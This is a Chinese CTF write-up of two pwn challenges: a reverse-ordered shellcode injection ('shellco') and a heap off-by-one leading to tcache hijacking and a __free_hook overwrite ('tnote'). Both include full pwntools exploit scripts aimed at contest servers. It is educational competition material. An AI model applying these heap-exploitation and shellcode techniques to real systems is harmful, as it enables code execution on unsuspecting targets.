西南石油大学“智仁杯”

shellco

本地各种系统成功,远程GG

提示 “you lost” 之后会跳转到 data 段存储的一个地址:

image-20201207195302677

调试发现,写入内容是从比这个变量高的地址写入,每次写入距离都会减少 0x10 。输入内容会检查,写入 8 bit 以上会报错。

image-20201207195810181

倒序写入 shellcode 。

EXP

本地写入 17 次才会覆盖 0x600489 ,远程 7 次,调整之后依然不成功。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
context(arch='amd64',log_level='debug')

p = process("./1")
# p = remote("49.235.209.57",10000)

p.recvuntil('name\n')
p.sendline("aaaaaaab")

# asm("xor rdx, rdx")
# asm("xor rcx, rcx")
# asm("mov rbx, 0x600078")
# asm("mov rax, 11")
# asm("int 0x80")

def send(content):
p.recvuntil("now\n")
p.send(content)

for i in range(13):
send('a')



#gdb.attach(p,"b *0x60036d")

#payload = asm("xor rdx, rdx")+asm("xor rcx, rcx")+asm("mov rbx, r12")
#payload += asm("mov rax, 11")+asm("int 0x80")
payload3 = asm("pop rax")+asm("int 0x80")
send(payload3)
payload2 = asm("push 11")
send(payload2)
payload1 = asm("mov rbx, r12")+asm("mov rax, rbp")
send(payload1)

send('\x99\x04')

p.interactive()

tnote

一开始想去怎么 unlink 攻击堆指针结构体,最后是劫持 tcache 结构体。

edit 函数中存在 off by one :

image-20201207172340156

思路

  1. offbyone 修改 size 位造成堆重叠,实现修改 bin 中指针效果
  2. 释放两个 tcachebin ,利用上面实现的堆重叠泄露堆地址
  3. 通过堆地址计算出 tcache 结构体(第一个 0x250 堆),通过上面实现的堆重叠修改 tcachebin fd 指针指向结构体,第二次申请就能申请到 tcache 结构体
  4. 改 tcachebin 数量标志位;off by one 改出一个 0x90 unsortedbin(这里注意绕过 free 时各种 check )
  5. 再用堆重叠泄露 main_arena 计算 libc 地址
  6. 复原 tcachebin 数量标志位,以及 0x20 链表首地址为 free_hook

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
from pwn import *
context(log_level='debug',terminal=['tmux','sp','-h'])

#p = process("./pwn")
p = remote('47.98.229.132', 10000)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf = ELF("./pwn")

def command(id):
p.recvuntil(": ")
p.sendline(id)
def add(size):
command('A')
p.recvuntil("size?")
p.sendline(str(size))
def edit(id,content):
command('E')
p.recvuntil("idx?")
p.sendline(str(id))
p.recvuntil("content:")
p.sendline(content)
def show(id):
command('S')
p.recvuntil('idx?')
p.sendline(str(id))
def free(id):
command('D')
p.recvuntil('idx?')
p.sendline(str(id))

add(0x78)#0x81
add(0x18)#0x20=>0x81-0x50=0x30
add(0x48)
add(0x48)
add(0x78)

edit(0,"/bin/sh;".ljust(0x78,'a')+'\x81')
free(1)
add(0x78)

edit(3,'a'*0x30+p64(0)+p64(0x91))

free(3)
free(2)
edit(1,'a'*0x20)
show(1)
p.recvuntil('a'*0x20)
heap_addr = u64(p.recv(6).ljust(8,'\x00'))
log.info("heap_addr:"+hex(heap_addr))
tcache_addr = heap_addr-0x340
log.info("tcache_addr:"+hex(tcache_addr))

edit(1,'a'*0x18+p64(0x51)+p64(tcache_addr))
add(0x48)#2
add(0x48)#3

edit(3,'\xFF'*8)
edit(1,'a'*0x10+p64(0)+p64(0x91))
free(2)
edit(1,'a'*0x20)
show(1)
p.recvuntil('a'*0x20)
main_arena = u64(p.recv(6).ljust(8,'\x00'))-96
log.info("main_arena:"+hex(main_arena))
libc_base = main_arena-0x3ebc40
log.info("libc_base:"+hex(libc_base))

free_hook = libc_base+libc.sym['__free_hook']
log.info("free_hook:"+hex(free_hook))
edit(3,'\x01'*0x40+p64(free_hook))

add(0x18)#2
system_addr = libc_base+libc.sym['system']
edit(2,p64(system_addr))

#gdb.attach(p,"b *$rebase(0x202060)")

free(0)

p.interactive()